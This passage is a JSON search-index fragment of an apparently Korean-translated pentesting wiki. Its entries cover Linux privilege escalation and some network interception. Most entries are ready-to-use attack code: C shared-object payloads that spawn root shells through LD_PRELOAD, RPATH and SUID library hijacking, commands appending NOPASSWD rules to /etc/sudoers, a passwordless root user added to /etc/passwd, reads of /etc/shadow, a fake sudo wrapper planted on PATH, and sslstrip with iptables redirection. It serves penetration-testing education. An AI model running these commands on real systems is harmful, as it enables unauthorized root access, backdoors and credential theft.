고려하세요.","breadcrumbs":"Linux Privilege Escalation » BASH_ENV가 sudo env_keep에 의해 보존되어 root shell 획득","id":"1436","title":"BASH_ENV가 sudo env_keep에 의해 보존되어 root shell 획득"},"1437":{"body":"Jump 하여 다른 파일을 읽거나 symlinks 를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/* bash sudo less /var/logs/anything\\nless>:e /etc/shadow #Jump to read other files using privileged less bash ln /etc/shadow /var/log/new\\nsudo less /var/log/new #Use symlinks to read any file 만약 wildcard 가 사용된다면 (*), 훨씬 더 쉽습니다: bash sudo less /var/log/../../etc/shadow #Read shadow\\nsudo less /var/log/something /etc/shadow #Red 2 files 대응책 : https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/","breadcrumbs":"Linux Privilege Escalation » Sudo 실행 우회 경로","id":"1437","title":"Sudo 실행 우회 경로"},"1438":{"body":"만약 sudo 권한 이 단일 명령에 경로를 지정하지 않고 부여되어 있다면: hacker10 ALL= (root) less PATH 변수를 변경하여 이를 악용할 수 있다. bash export PATH=/tmp:$PATH\\n#Put your backdoor in /tmp and name it \\"less\\"\\nsudo less 이 기술은 suid 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 경우(항상 이상한 SUID 바이너리의 내용을 strings 로 확인하세요)**에도 사용할 수 있습니다. Payload examples to execute.","breadcrumbs":"Linux Privilege Escalation » Sudo 명령/SUID 바이너리 (명령 경로 없이)","id":"1438","title":"Sudo 명령/SUID 바이너리 (명령 경로 없이)"},"1439":{"body":"만약 suid 바이너리가 경로를 지정하여 다른 명령을 실행한다면 , 호출되는 명령 이름으로 export a function 을 시도할 수 있습니다. 예를 들어, suid 바이너리가 /usr/sbin/service apache2 start 를 호출한다면, 해당 함수를 생성하고 export 하는 것을 시도해야 합니다: bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }\\nexport -f /usr/sbin/service Then, when you call the suid binary, this function will be executed","breadcrumbs":"Linux Privilege Escalation » SUID binary (명령 경로 포함)","id":"1439","title":"SUID binary (명령 경로 포함)"},"144":{"body":"기본적으로 이 공격은, user 가 access 하려는 HTTP 페이지가 redirecting 되어 HTTPS 버전으로 이동하는 경우에 발생합니다. sslStrip 는 maintain a HTTP connection with the client and a HTTPS connection with the server , 따라서 연결을 plain text 로 sniff 할 수 있게 됩니다. bash apt-get install sslstrip\\nsslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k\\n#iptables --flush\\n#iptables --flush -t nat\\niptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000\\niptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT More info here .","breadcrumbs":"Pentesting Network » sslStrip","id":"144","title":"sslStrip"},"1440":{"body":"The LD_PRELOAD environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (libc.so). This process is known as preloading a library. 그러나 시스템 보안을 유지하고 특히 suid/sgid 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 몇 가지 조건을 적용합니다: 로더는 실제 사용자 ID( ruid )가 유효 사용자 ID( euid )와 일치하지 않는 실행 파일에 대해 LD_PRELOAD 를 무시합니다. suid/sgid가 설정된 실행 파일의 경우, suid/sgid가 설정된 표준 경로에 있는 라이브러리만 선로드됩니다. Privilege escalation can occur if you have the ability to execute commands with sudo and the output of sudo -l includes the statement env_keep+=LD_PRELOAD . This configuration allows the LD_PRELOAD environment variable to persist and be recognized even when commands are run with sudo, potentially leading to the execution of arbitrary code with elevated privileges. Defaults env_keep += LD_PRELOAD 다음으로 저장: /tmp/pe.c c #include \\n#include \\n#include void _init() {\\nunsetenv(\\"LD_PRELOAD\\");\\nsetgid(0);\\nsetuid(0);\\nsystem(\\"/bin/bash\\");\\n} 그런 다음 다음을 사용하여 컴파일 합니다: bash cd /tmp\\ngcc -fPIC -shared -o pe.so pe.c -nostartfiles 마지막으로, escalate privileges 실행 bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo caution 유사한 privesc는 공격자가 LD_LIBRARY_PATH env variable을 제어할 경우 악용될 수 있다. 공격자는 라이브러리를 검색할 경로를 제어하게 된다. c #include \\n#include static void hijack() __attribute__((constructor)); void hijack() {\\nunsetenv(\\"LD_LIBRARY_PATH\\");\\nsetresuid(0,0,0);\\nsystem(\\"/bin/bash -p\\");\\n} bash # Compile & execute\\ncd /tmp\\ngcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c\\nsudo LD_LIBRARY_PATH=/tmp ","breadcrumbs":"Linux Privilege Escalation » LD_PRELOAD & LD_LIBRARY_PATH","id":"1440","title":"LD_PRELOAD & LD_LIBRARY_PATH"},"1441":{"body":"비정상적으로 보이는 SUID 권한을 가진 binary를 발견하면, 해당 binary가 .so 파일을 올바르게 로드하는지 확인하는 것이 좋습니다. 다음 명령어를 실행하여 확인할 수 있습니다: bash strace 2>&1 | grep -i -E \\"open|access|no such file\\" 예를 들어, \\"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)\\" 같은 오류가 발생하면 잠재적인 익스플로잇 가능성을 시사합니다. 이를 익스플로잇하기 위해서는 C 파일, 예를 들어 \\"/path/to/.config/libcalc.c\\" , 를 생성한 다음 다음 코드를 포함시키면 됩니다: c #include \\n#include static void inject() __attribute__((constructor)); void inject(){\\nsystem(\\"cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p\\");\\n} 이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 셸을 실행하여 권한을 상승시키는 것을 목표로 합니다. 위의 C 파일을 공유 객체(.so) 파일로 컴파일하려면 다음을 사용하세요: bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c 마지막으로, 영향을 받은 SUID binary를 실행하면 exploit이 트리거되어 잠재적으로 system compromise가 발생할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » SUID Binary – .so injection","id":"1441","title":"SUID Binary – .so injection"},"1442":{"body":"bash # Lets find a SUID using a non-standard library\\nldd some_suid\\nsomething.so => /lib/x86_64-linux-gnu/something.so # The SUID also loads libraries from a custom location where we can write\\nreadelf -d payroll | grep PATH\\n0x000000000000001d (RUNPATH) Library runpath: [/development] 이제 우리가 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID binary를 찾았으니, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: c //gcc src.c -fPIC -shared -o /development/libshared.so\\n#include \\n#include static void hijack() __attribute__((constructor)); void hijack() {\\nsetresuid(0,0,0);\\nsystem(\\"/bin/bash -p\\");\\n} 다음과 같은 오류가 발생하면 shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name that means that the library you have generated need to have a function called a_function_name.","breadcrumbs":"Linux Privilege Escalation » Shared Object Hijacking","id":"1442","title":"Shared Object Hijacking"},"1443":{"body":"GTFOBins 은 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리의 큐레이션된 목록입니다. GTFOArgs 는 명령에 인자만 주입할 수 있는 경우를 위한 동일한 리소스입니다. 이 프로젝트는 제한된 셸을 탈출하고, 권한을 상승하거나 유지하고, 파일을 전송하고, bind and reverse shells 를 생성하며, 기타 post-exploitation 작업을 용이하게 할 수 있도록 악용될 수 있는 Unix 바이너리의 정당한 기능들을 수집합니다. gdb -nx -ex \'!sh\' -ex quit sudo mysql -e \'! /bin/sh\' strace -o /dev/null /bin/sh sudo awk \'BEGIN {system(\\"/bin/sh\\")}\' \\\\n \\\\n GTFOBins\\\\n \\\\n \\\\n GTFOArgs\\\\n","breadcrumbs":"Linux Privilege Escalation » GTFOBins","id":"1443","title":"GTFOBins"},"1444":{"body":"If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.","breadcrumbs":"Linux Privilege Escalation » FallOfSudo","id":"1444","title":"FallOfSudo"},"1445":{"body":"In cases where you have sudo access but not the password, you can escalate privileges by waiting for a sudo command execution and then hijacking the session token . Requirements to escalate privileges: You already have a shell as user \\" sampleuser \\" \\" sampleuser \\" have used sudo to execute something in the last 15mins (by default that\'s the duration of the sudo token that allows us to use sudo without introducing any password) cat /proc/sys/kernel/yama/ptrace_scope is 0 gdb is accessible (you can be able to upload it) (You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0) If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp . You can use it to activate the sudo token in your session (you won\'t get automatically a root shell, do sudo su): bash bash exploit.sh\\n/tmp/activate_sudo_token\\nsudo su 두 번째 exploit (exploit_v2.sh)는 _/tmp_에 root가 소유하고 setuid가 설정된 sh shell을 생성합니다 bash bash exploit_v2.sh\\n/tmp/sh -p 세 번째 exploit (exploit_v3.sh)은 sudoers 파일을 생성 하여 sudo tokens을 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용합니다 bash bash exploit_v3.sh\\nsudo su","breadcrumbs":"Linux Privilege Escalation » Reusing Sudo Tokens","id":"1445","title":"Reusing Sudo Tokens"},"1446":{"body":"폴더나 폴더 내에 생성된 파일들 중 어느 것에 대해든 쓰기 권한 이 있다면, 바이너리 write_sudo_token 를 사용하여 사용자와 PID에 대한 sudo 토큰을 생성 할 수 있습니다. 예를 들어, 파일 _/var/run/sudo/ts/sampleuser_를 덮어쓸 수 있고 해당 사용자로서 PID 1234를 가진 셸을 가지고 있다면, 비밀번호를 알 필요 없이 sudo 권한을 획득 할 수 있습니다. 다음과 같이: bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser","breadcrumbs":"Linux Privilege Escalation » /var/run/sudo/ts/","id":"1446","title":"/var/run/sudo/ts/"},"1447":{"body":"파일 /etc/sudoers와 /etc/sudoers.d 내부의 파일들은 누가 sudo를 어떻게 사용할 수 있는지를 구성합니다. 이러한 파일들은 기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다 . 만약 이 파일을 읽을 수 있다면 몇 가지 흥미로운 정보를 얻을 수 있고 , 그리고 만약 어떤 파일을 쓸 수 있다면 권한을 escalate privileges 할 수 있습니다. bash ls -l /etc/sudoers /etc/sudoers.d/\\nls -ld /etc/sudoers.d/ 쓰기 권한이 있으면 이 권한을 악용할 수 있다 bash echo \\"$(whoami) ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers\\necho \\"$(whoami) ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers.d/README 이러한 권한을 악용하는 또 다른 방법: bash # makes it so every terminal can sudo\\necho \\"Defaults !tty_tickets\\" > /etc/sudoers.d/win\\n# makes it so sudo never times out\\necho \\"Defaults timestamp_timeout=-1\\" >> /etc/sudoers.d/win","breadcrumbs":"Linux Privilege Escalation » /etc/sudoers, /etc/sudoers.d","id":"1447","title":"/etc/sudoers, /etc/sudoers.d"},"1448":{"body":"sudo 바이너리를 대신할 수 있는 몇 가지 대안이 있으며, 예를 들어 OpenBSD의 doas가 있습니다. 설정은 /etc/doas.conf에서 확인하세요. permit nopass demo as root cmd vim","breadcrumbs":"Linux Privilege Escalation » DOAS","id":"1448","title":"DOAS"},"1449":{"body":"만약 한 사용자가 보통 머신에 접속하여 sudo를 사용 하고 그 사용자 컨텍스트에서 셸을 얻었다면, 새로운 sudo 실행파일을 만들 수 있습니다 . 이 실행파일은 먼저 root로 당신의 코드를 실행한 뒤 사용자의 명령을 실행하도록 만들 수 있습니다. 그런 다음 사용자 컨텍스트에서 $PATH를 수정 (예: .bash_profile에 새 경로 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행되도록 합니다. Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py 또는 다음과 같이 실행: bash cat >/tmp/sudo < /tmp/privesc\\n/usr/bin/sudo \\"\\\\$@\\"\\nEOF\\nchmod +x /tmp/sudo\\necho ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or \\".bashrc\\" or any other # From the victim\\nzsh\\necho $PATH\\nsudo ls","breadcrumbs":"Linux Privilege Escalation » Sudo Hijacking","id":"1449","title":"Sudo Hijacking"},"145":{"body":"sslStrip+와 dns2proxy가 sslStrip에 비해 가지는 차이점 은 예를 들어 www.facebook.com 을 wwww.facebook.com 으로(추가된 \\" w \\"에 주목) 리디렉트 하고 이 도메인의 주소를 공격자 IP로 설정 한다는 점입니다. 이렇게 하면 클라이언트 는 wwww.facebook.com (공격자) 에 접속 하게 되지만, 내부적으로 **sslstrip+**는 www.facebook.com 과의 https를 통한 실제 연결을 유지 합니다. 이 기법의 목표 는 HSTS를 회피 하는 것입니다. wwww .facebook.com 은 브라우저의 캐시 에 저장되지 않기 때문에 브라우저는 속아 넘어가 HTTP로 facebook 인증을 수행 하게 됩니다. 이 공격을 수행하려면 피해자가 최초에 http://www.faceook.com (https가 아닌) 에 접근하려고 해야 한다는 점을 유의하세요. 이는 http 페이지 내의 링크를 수정함으로써 가능할 수 있습니다. More info here , here and here . sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it\'s the first time that a user access an \\"important\\" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag includeSubdomains so the wwww.facebook.com example from before won\'t work anymore as facebook.com uses HSTS with includeSubdomains. TODO: easy-creds, evilgrade, metasploit, factory","breadcrumbs":"Pentesting Network » sslStrip+와 dns2proxy를 이용한 HSTS 우회","id":"145","title":"sslStrip+와 dns2proxy를 이용한 HSTS 우회"},"1450":{"body":"","breadcrumbs":"Linux Privilege Escalation » 공유 라이브러리","id":"1450","title":"공유 라이브러리"},"1451":{"body":"파일 /etc/ld.so.conf는 로드된 구성 파일들이 어디에서 오는지 를 나타냅니다. 일반적으로 이 파일에는 다음 경로가 포함되어 있습니다: include /etc/ld.so.conf.d/*.conf 즉, /etc/ld.so.conf.d/*.conf의 구성 파일들이 읽힌다는 뜻입니다. 이 구성 파일들은 다른 폴더를 가리키며 , 라이브러리들이 검색될 위치 를 지정합니다. 예를 들어 /etc/ld.so.conf.d/libc.conf의 내용이 /usr/local/lib인 경우, 이는 시스템이 /usr/local/lib 내부에서 라이브러리를 검색함을 의미합니다 . 만약 어떤 이유로 다음 경로들 중 어느 하나에 대해 사용자가 쓰기 권한을 가지고 있다면 : /etc/ld.so.conf, /etc/ld.so.conf.d/, /etc/ld.so.conf.d/ 내부의 파일 또는 /etc/ld.so.conf.d/*.conf에 명시된 구성 파일이 가리키는 폴더, 권한 상승이 가능할 수 있습니다. 다음 페이지에서 이 잘못된 구성의 악용 방법 을 살펴보세요: ld.so privesc exploit example","breadcrumbs":"Linux Privilege Escalation » ld.so","id":"1451","title":"ld.so"},"1452":{"body":"level15@nebula:/home/flag15$ readelf -d flag15 | egrep \\"NEEDED|RPATH\\"\\n0x00000001 (NEEDED) Shared library: [libc.so.6]\\n0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15\\nlinux-gate.so.1 => (0x0068c000)\\nlibc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)\\n/lib/ld-linux.so.2 (0x005bb000) lib를 /var/tmp/flag15/로 복사하면 RPATH 변수에 지정된 대로 프로그램이 이 위치에서 해당 lib를 사용합니다. level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15\\nlinux-gate.so.1 => (0x005b0000)\\nlibc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)\\n/lib/ld-linux.so.2 (0x00737000) 그런 다음 /var/tmp에 악성 라이브러리를 다음 명령으로 생성합니다: gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6 c #include\\n#define SHELL \\"/bin/sh\\" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))\\n{\\nchar *file = SHELL;\\nchar *argv[] = {SHELL,0};\\nsetresuid(geteuid(),geteuid(), geteuid());\\nexecve(file,argv,0);\\n}","breadcrumbs":"Linux Privilege Escalation » RPATH","id":"1452","title":"RPATH"},"1453":{"body":"Linux capabilities는 프로세스에 제공되는 루트 권한의 부분 집합 을 제공합니다. 이는 루트 권한을 더 작고 구별되는 단위로 분해 하는 효과가 있습니다. 이러한 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이로써 전체 권한 집합이 축소되어 악용 위험이 줄어듭니다. 다음 페이지를 읽어 capabilities와 이를 악용하는 방법 에 대해 더 알아보세요: Linux Capabilities","breadcrumbs":"Linux Privilege Escalation » Capabilities","id":"1453","title":"Capabilities"},"1454":{"body":"디렉토리에서, \\"execute\\" 비트는 해당 사용자가 \\"cd\\" 해서 폴더로 들어갈 수 있음을 의미합니다. \\"read\\" 비트는 사용자가 list 할 수 있음을 의미하고, \\"write\\" 비트는 사용자가 delete 및 create 새로운 files 할 수 있음을 의미합니다.","breadcrumbs":"Linux Privilege Escalation » Directory permissions","id":"1454","title":"Directory permissions"},"1455":{"body":"Access Control Lists (ACLs)는 임의 권한(discretionary permissions)의 2차 레이어로서, 전통적인 ugo/rwx 권한을 **재정의(overriding)**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근을 보다 정밀하게 제어할 수 있게 합니다. 이러한 수준의 **세분화(granularity)**는 보다 정확한 접근 관리를 보장합니다. 자세한 내용은 here 에서 확인하세요. 부여 사용자 \\"kali\\"에게 파일에 대한 read 및 write 권한: bash setfacl -m u:kali:rw file.txt\\n#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file 가져오기 시스템에서 특정 ACL을 가진 파일: bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » ACLs","id":"1455","title":"ACLs"},"1456":{"body":"구버전 에서는 다른 사용자( root )의 shell 세션을 hijack 할 수 있습니다. 최신 버전 에서는 connect 를 본인 사용자 의 screen sessions에만 할 수 있습니다. 하지만 세션 내부의 흥미로운 정보 를 찾을 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » shell 세션 열기","id":"1456","title":"shell 세션 열기"},"1457":{"body":"screen sessions 목록 bash screen -ls\\nscreen -ls / # Show another user\' screen sessions 세션에 연결하기 bash screen -dr #The -d is to detach whoever is attached to it\\nscreen -dr 3350.foo #In the example of the image\\nscreen -x [user]/[session id]","breadcrumbs":"Linux Privilege Escalation » screen sessions hijacking","id":"1457","title":"screen sessions hijacking"},"1458":{"body":"이 문제는 old tmux versions 에서 발생했습니다. 나는 non-privileged user로서 root가 생성한 tmux (v2.1) session을 hijack할 수 없었습니다. List tmux sessions bash tmux ls\\nps aux | grep tmux #Search for tmux consoles not using default folder for sockets\\ntmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess 세션에 연결 bash tmux attach -t myname #If you write something in this session it will appears in the other opened one\\ntmux attach -d -t myname #First detach the session from the other console and then access it yourself ls -la /tmp/dev_sess #Check who can access it\\nrw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can\\n# If you are root or devs you can access it\\ntmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket Check Valentine box from HTB 를 확인하세요.","breadcrumbs":"Linux Privilege Escalation » tmux sessions hijacking","id":"1458","title":"tmux sessions hijacking"},"1459":{"body":"","breadcrumbs":"Linux Privilege Escalation » SSH","id":"1459","title":"SSH"},"146":{"body":"bash sudo nc -l -p 80\\nsocat TCP4-LISTEN:80,fork,reuseaddr -","breadcrumbs":"Pentesting Network » TCP 포트 리스닝","id":"146","title":"TCP 포트 리스닝"},"1460":{"body":"2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다. 이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생하며, 가능한 변형이 단 32,768개뿐이었습니다 . 이는 모든 가능성을 계산할 수 있고 ssh public key를 가지고 있으면 대응하는 private key를 검색할 수 있다 는 의미입니다. 계산된 가능성 목록은 여기에서 찾을 수 있습니다: https://github.com/g0tmi1k/debian-ssh","breadcrumbs":"Linux Privilege Escalation » Debian OpenSSL Predictable PRNG - CVE-2008-0166","id":"1460","title":"Debian OpenSSL Predictable PRNG - CVE-2008-0166"},"1461":{"body":"PasswordAuthentication: 비밀번호 인증을 허용할지 여부를 지정합니다. 기본값은 no입니다. PubkeyAuthentication: 공개 키 인증을 허용할지 여부를 지정합니다. 기본값은 yes입니다. PermitEmptyPasswords : 비밀번호 인증이 허용된 경우, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용할지 여부를 지정합니다. 기본값은 no입니다.","breadcrumbs":"Linux Privilege Escalation » SSH 흥미로운 구성 값","id":"1461","title":"SSH 흥미로운 구성 값"},"1462":{"body":"root가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 no입니다. 가능한 값: yes: root는 password와 private key로 로그인할 수 있습니다. without-password or prohibit-password: root는 private key로만 로그인할 수 있습니다. forced-commands-only: root는 private key로만 로그인할 수 있으며 명령어 옵션이 지정된 경우에만 허용됩니다. no : 허용되지 않음","breadcrumbs":"Linux Privilege Escalation » PermitRootLogin","id":"1462","title":"PermitRootLogin"},"1463":{"body":"사용자 인증에 사용할 수 있는 public keys가 들어 있는 파일을 지정합니다. %h 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 치환됩니다. 절대 경로를 지정할 수 있습니다 ( /로 시작) 또는 사용자 홈에서의 상대 경로 . 예: bash AuthorizedKeysFile .ssh/authorized_keys access 해당 구성은 사용자가 \\" testusername \\"의 private key로 로그인하려고 시도하면, ssh가 당신 키의 public key를 /home/testusername/.ssh/authorized_keys 및 /home/testusername/access에 있는 키들과 비교한다는 것을 의미합니다.","breadcrumbs":"Linux Privilege Escalation » AuthorizedKeysFile","id":"1463","title":"AuthorizedKeysFile"},"1464":{"body":"SSH agent forwarding을 사용하면 서버에 키(패스프레이즈가 없는 경우!)를 남겨두지 않고 로컬 SSH 키를 사용할 수 있습니다 . 따라서 ssh로 점프 하여 host로 이동한 다음, 거기에서 다른 host로 점프 할 때 initial host에 있는 key를 사용 할 수 있습니다. You need to set this option in $HOME/.ssh.config like this: Host example.com\\nForwardAgent yes Host가 *로 설정되어 있으면 사용자가 다른 머신으로 접속할 때마다 해당 호스트가 키에 접근할 수 있다는 점에 유의하세요(이는 보안 문제입니다). 파일 /etc/ssh_config는 이 옵션을 재정의 하여 이 구성을 허용하거나 거부할 수 있습니다. 파일 /etc/sshd_config는 키워드 AllowAgentForwarding로 ssh-agent 포워딩을 허용 하거나 거부 할 수 있습니다(기본값은 허용). 환경에서 Forward Agent가 구성되어 있음을 발견하면 다음 페이지를 읽으세요. 이를 악용해 권한 상승을 시도할 수 있습니다 : SSH Forward Agent exploitation","breadcrumbs":"Linux Privilege Escalation » ForwardAgent/AllowAgentForwarding","id":"1464","title":"ForwardAgent/AllowAgentForwarding"},"1465":{"body":"","breadcrumbs":"Linux Privilege Escalation » 흥미로운 파일","id":"1465","title":"흥미로운 파일"},"1466":{"body":"파일 /etc/profile과 /etc/profile.d/ 아래의 파일들은 사용자가 새 쉘을 실행할 때 실행되는 스크립트 입니다. 따라서, 만약 이들 중 어느 하나라도 작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다 . bash ls -l /etc/profile /etc/profile.d/ 이상한 profile script가 발견되면 민감한 정보 가 있는지 확인해야 합니다.","breadcrumbs":"Linux Privilege Escalation » 프로필 파일","id":"1466","title":"프로필 파일"},"1467":{"body":"OS에 따라 /etc/passwd 및 /etc/shadow 파일은 다른 이름을 사용하거나 백업본이 있을 수 있습니다. 따라서 모두 찾아서 읽을 수 있는지 확인 하여 파일 내에 해시가 있는지 확인하는 것이 권장됩니다: bash #Passwd equivalent files\\ncat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null\\n#Shadow equivalent files\\ncat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null 경우에 따라 /etc/passwd (또는 동등한) 파일 안에서 password hashes 를 찾을 수 있습니다 bash grep -v \'^[^:]*:[x\\\\*]\' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Passwd/Shadow 파일","id":"1467","title":"Passwd/Shadow 파일"},"1468":{"body":"먼저, 다음 명령어들 중 하나를 사용해 password를 생성하세요. openssl passwd -1 -salt hacker hacker\\nmkpasswd -m SHA-512 hacker\\npython2 -c \'import crypt; print crypt.crypt(\\"hacker\\", \\"$6$salt\\")\' 그런 다음 사용자 hacker를 추가하고 생성된 비밀번호를 설정하세요. hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash 예: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash 이제 su 명령을 사용하여 hacker:hacker로 전환할 수 있습니다. 또는 다음 줄을 사용하여 비밀번호 없는 더미 사용자를 추가할 수 있습니다.\\\\ 경고: 시스템의 현재 보안이 저하될 수 있습니다. echo \'dummy::0:0::/root:/bin/bash\' >>/etc/passwd\\nsu - dummy 참고: BSD 플랫폼에서는 /etc/passwd가 /etc/pwd.db 및 /etc/master.passwd에 위치해 있으며, /etc/shadow는 /etc/spwd.db로 이름이 변경됩니다. 민감한 파일들에 쓰기 권한이 있는지 확인해야 합니다. 예를 들어, 일부 서비스 구성 파일 에 쓸 수 있습니까? bash find / \'(\' -type f -or -type d \')\' \'(\' \'(\' -user $USER \')\' -or \'(\' -perm -o=w \')\' \')\' 2>/dev/null | grep -v \'/proc/\' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody\\nfor g in `groups`; do find \\\\( -type f -or -type d \\\\) -group $g -perm -g=w 2>/dev/null | grep -v \'/proc/\' | grep -v $HOME; done #Find files writable by any group of the user 예를 들어, 머신이 tomcat 서버를 실행 중이고 /etc/systemd/ 안에 있는 Tomcat 서비스 구성 파일을 수정할 수 있다면, 다음 줄들을 수정할 수 있습니다: ExecStart=/path/to/backdoor\\nUser=root\\nGroup=root 당신의 backdoor는 tomcat이 다음에 시작될 때 실행됩니다.","breadcrumbs":"Linux Privilege Escalation » Writable /etc/passwd","id":"1468","title":"Writable /etc/passwd"},"1469":{"body":"다음 폴더들에는 백업이나 흥미로운 정보가 포함되어 있을 수 있습니다: /tmp , /var/tmp , /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (아마 마지막 것은 읽을 수 없을 테지만 시도해 보세요) bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root","breadcrumbs":"Linux Privilege Escalation » 폴더 확인","id":"1469","title":"폴더 확인"},"147":{"body":"키 및 셀프 서명된 인증서 생성 FILENAME=server\\n# Generate a public/private key pair:\\nopenssl genrsa -out $FILENAME.key 1024\\n# Generate a self signed certificate:\\nopenssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt\\n# Generate the PEM file by just appending the key and certificate files:\\ncat $FILENAME.key $FILENAME.crt >$FILENAME.pem 인증서를 사용한 수신 대기 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - 인증서를 사용해 리스닝하고 호스트로 리다이렉트 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 때때로, client가 CA가 유효한지 검사한다면, serve a certificate of other hostname signed by a CA . 또 다른 흥미로운 테스트로는 요청된 hostname의 c ertificate of the requested hostname but self-signed 를 제공하는 것입니다. 테스트할 다른 항목으로는 certificate를 valid certificate(그러나 valid CA가 아닌)로 sign하려 시도하는 것입니다. 또는 valid public key를 사용하고 diffie hellman 같은 알고리즘을 강제하여(이는 실제 private key로 아무것도 복호화할 필요가 없는 알고리즘) client가 실제 private key에 대한 probe(예: hash)를 요청할 때 가짜 probe를 보내고 client가 이를 확인하지 않는다고 기대하는 것입니다.","breadcrumbs":"Pentesting Network » TCP + SSL 포트에서 리스닝","id":"147","title":"TCP + SSL 포트에서 리스닝"},"1470":{"body":"bash #root owned files in /home folders\\nfind /home -user root 2>/dev/null\\n#Files owned by other users in folders owned by me\\nfor d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \\\\; 2>/dev/null; done\\n#Files owned by root, readable by me but not world readable\\nfind / -type f -user root ! -perm -o=r 2>/dev/null\\n#Files owned by me or world writable\\nfind / \'(\' -type f -or -type d \')\' \'(\' \'(\' -user $USER \')\' -or \'(\' -perm -o=w \')\' \')\' ! -path \\"/proc/*\\" ! -path \\"/sys/*\\" ! -path \\"$HOME/*\\" 2>/dev/null\\n#Writable files by each group I belong to\\nfor g in `groups`;\\ndo printf \\" Group $g:\\\\n\\";\\nfind / \'(\' -type f -or -type d \')\' -group $g -perm -g=w ! -path \\"/proc/*\\" ! -path \\"/sys/*\\" ! -path \\"$HOME/*\\" 